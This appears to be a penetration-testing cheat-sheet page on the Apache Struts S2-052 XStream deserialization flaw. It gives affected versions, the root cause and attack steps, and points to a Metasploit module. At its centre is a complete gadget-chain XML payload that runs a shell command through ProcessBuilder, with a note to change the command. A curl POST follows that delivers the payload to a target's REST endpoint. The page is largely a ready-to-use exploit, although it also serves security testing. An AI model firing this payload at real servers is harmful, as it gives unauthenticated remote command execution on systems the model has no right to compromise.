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S2-052 Remote Code Execution

Affected Versions​

S2-052 affects the following Struts versions:

  • 2.1.2 – 2.3.33
  • 2.5 – 2.5.12

Root Cause​

  • Struts REST plugin uses XStream for XML deserialization
  • Proper class filtering was missing
  • Attacker-controlled XML is deserialized into Java objects
  • Results in arbitrary object creation → code execution

Filtering existed elsewhere in Struts, but not in the REST plugin

Vulnerability Type​

  • Insecure Deserialization
  • XML-based payload
  • No authentication required
  • Requires REST plugin enabled

Attack Surface​

  • Endpoints accepting:
    • application/xml
    • application/json (converted internally)
  • Common REST URLs:
    • /orders
    • /users
    • /api/*
  • Usually triggered via POST request

Exploitation​

  1. Send malicious XML payload
  2. XML is deserialized by XStream
  3. Malicious Java object is instantiated
  4. Command is executed on the server

Payload​

  • Uses XStream gadget chains
  • Often leverages:
    • java.lang.ProcessBuilder
    • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
success

Metasploit Framework has a module for it called exploit/multi/http/struts2_rest_xstream.

success

Python PoC script can be found here.

Manual Method​

  1. Save the following file:
info

Make sure to modify the command payload.

payload.xml
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/bin/sh</string><string>-c</string><string>zc00l</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>p4WVJLW2H</name>
                  </filter>
                  <next class="string">6Fcg22xLlaHiIK8</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>
  1. Then run the following command:
❯ curl -X POST http://rezydev.xyz/orders.xhtml -H 'Content-Type: application/xml' --data @payload.xml

Detection Strategy​

  • Identify Struts + REST plugin
  • Send malformed or malicious XML
  • Observe:
    • Command output
    • Error messages
    • Delayed responses (sleep payload)